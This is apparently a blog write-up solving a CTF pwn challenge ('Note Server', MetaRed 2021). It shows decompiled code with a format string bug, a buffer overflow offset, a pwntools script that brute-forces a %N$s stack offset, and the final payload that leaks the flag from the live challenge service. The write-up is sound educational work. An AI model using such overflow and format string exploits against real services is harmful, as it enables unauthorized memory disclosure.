MetaRed 2021 - 3rd Stage: Note Server

Reading time ~5 minutes

I’m doing way more PWN challenges these days and have got into somewhat of a groove that I’m really enjoying them. I have a pattern of solutions in my head now and can solve at least the first basic level ones each time. This week was the CTF Internacional MetaRed 2021 - 3rd Stage. Long name! Also found it pretty challenging. Here’s 1 fun pwn challenge.

Note Server - Pwn - 413 points

This challenge reads:

I made an app so you can keep notes online. Hope it doesn't get pwned.

nc 143.255.251.233 13372

15 Solves

With this challenge comes one file:

  • note_server

Quickly triaging the binary its a 64 bit ELF binary and from checksec we can see canaries are disabled but PIE is enabled. Interesting.

$ file note_server
note_server: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=99f105cee37ecd4ff434f2f07839e23d9200989d, for 
GNU/Linux 3.2.0, not stripped
$ checksec note_server
[*] 'note_server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Running the binary we see some basic behaviour, we can store notes in memory and read them back. It doesn’t seem to work too well because it doesn’t actually show us a note. It does mention stack canaries though. Even though checksec said that we did not have stack canaries. I guess the author implemented canaries manually.

$ ./note_server

================================
Welcome to note server 2021
Now with stack canaries!!!
================================

1. Write note
2. Read note
3. Exit
> 1
Choose a note [0 - 7]: 0
AAAAAAAAAAAAA

1. Write note
2. Read note
3. Exit
> 2
Choose a note [0 - 7]: 0


1. Write note
2. Read note
3. Exit
> 3

Loading the binary into Ghidra gives us an interesting glimpse into what might be a solution here.

First, in main() we load a flag into memory, display a banner, then pass the pointer to the flag to note_server()

void main(void)
{
  char *flagptr;
  
  setup();
  flagptr = (char *)load_flag();
  banner();
  note_server(flagptr);
  return;
}

In note_server() we do all the heavy lifting of displaying the menu and reading / writing the notes. We even check our canary here:

void note_server(char *flagptr)

{
  char *canary;
  canary = _setup;
  do {
    while( true ) {
      while( true ) {
        puts("\n1. Write note");
        puts("2. Read note");
        puts("3. Exit");
        printf("> ");
        __s = "%d";
        iVar1 = scanf(&DAT_00102097,&local_119);
        if (iVar1 == 1) break;
        gets(__s);
      }
      if (local_119 == '\x03') {
        iVar1 = memcmp(&canary,setup,8);
        if (iVar1 == 0) {
          return;
        }
        printf("Overflow attempt. Canary value > ");
        printf((char *)&canary);
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      if (local_119 < '\x04') break;
LAB_001014cf:
      puts("Invalid option...\n");
    }
    if (local_119 == '\x01') {
      printf("Choose a note [0 - 7]: ");
      __isoc99_scanf(&DAT_00102097,&local_120);
      if ((local_120 < 0) || (7 < local_120)) {
        puts("Invalid note");
      }
      else {
        __isoc99_scanf(" %[^\n]",local_118 + (long)local_120 * 0x20);
      }
    }
    else {
      if (local_119 != '\x02') goto LAB_001014cf;
      printf("Choose a note [0 - 7]: ");
      __isoc99_scanf(&DAT_00102097,&local_120);
      if ((local_120 < 0) || (7 < local_120)) {
        puts("Invalid note");
      }
      else {
        puts(local_118 + (long)local_120 * 0x20);
      }
    }
  } while( true );
}

The critical point to note is in the canary validation which we do on exit (user selects 3 from the menu).

        printf("Overflow attempt. Canary value > ");
        printf((char *)&canary);

Here we have a format string vulnerability, the program actually prints out whatever we overwrote the stack canary with.

Since we know we took the flagptr as an argument to this function its probable our flag is on the stack somewhere. So our strategy is simple:

  1. Find a way to stack overflow and overwrite exactly at our canary position with a format string.
  2. Choose a format string that displays a string from the stack at some offset. We can use %x$s for this.

Ok first we need to find a stack overflow, the binary is simple so its probably in the Read note option. Instead of parsing the Ghidra code i just tried this:

gdb-peda$ r
Starting program: note_server 
================================
Welcome to note server 2021
Now with stack canaries!!!
================================

1. Write note
2. Read note
3. Exit
> 1
Choose a note [0 - 7]: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1. Write note
2. Read note
3. Exit
> 2
Choose a note [0 - 7]: 0


1. Write note
2. Read note
3. Exit
> 3
Overflow attempt. Canary value > AAAAAAAA

Ok cool so we know we can control the Canary that gets printed. We need to know where in our string that happens. I tried using peda pattern_create for this but because it creates strings that have % in them it doesn’t work for this purpose. I just manually crafted some long strings instead.

With some trial and error I found the offset to be 264 bytes. I generated these strings with some python command line:

$ python -c 'print(("A" * 264) + "BBBB")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
$ ./note_server
================================
Welcome to note server 2021
Now with stack canaries!!!
================================

1. Write note
2. Read note
3. Exit
> 1
Choose a note [0 - 7]: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

1. Write note
2. Read note
3. Exit
> 2
Choose a note [0 - 7]: 0


1. Write note
2. Read note
3. Exit
> 3
Overflow attempt. Canary value > BBBB

Great. Now we just need to find our flag position on the stack, I wrote some python to try all the offsets:

from pwn import *

offset = 264

for i in range(1, 100):
    p = process('./note_server')
    p.sendlineafter(b'> ', b'1')  # Write note
    p.sendlineafter(b']: ', b'0') # Note 0
    payload = b'A' * offset
    payload += b'%%%d$s' % i      # format string in the canary position
    p.sendline(payload)           # Send content of note.
    p.sendlineafter(b'> ', b'2')  # Read note
    p.sendlineafter(b']: ', b'0') # Note 0
    p.sendlineafter(b'> ', b'3')  # Exit
    try:
        res = p.recvall().decode().split('> ')[1]            # fmt string result.
        if 'testflag' in res:
            print('flag at %d' % i)
            print('use payload: %s' % payload)
            break
    except:
        continue
    p.close()

Then I ran it and it found the right offset:

$ echo testflag > flag.txt
$ PWNLIB_SILENT=1 ./leak.py
flag at 45
use payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%45$s'

Which when we ran it against the live service dropped the flag:

================================
Welcome to note server 2021
Now with stack canaries!!!
================================

1. Write note
2. Read note
3. Exit
> 1
Choose a note [0 - 7]: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%45$s

1. Write note
2. Read note
3. Exit
> 2
Choose a note [0 - 7]: 0


1. Write note
2. Read note
3. Exit
> 3
Overflow attempt. Canary value > FLAG{realflagwashere}

Fun and no RCE needed :)

Interviewing in Tech: Security Engineer & Security Analyst

Landing a job as a security engineer or analyst at a tech company is a significant feat. It requires not only technical acumen but also s...… Continue reading

BSides Sydney 2023 Writeups

Published on November 24, 2023

DUCTF 2023 Writeups

Published on August 31, 2023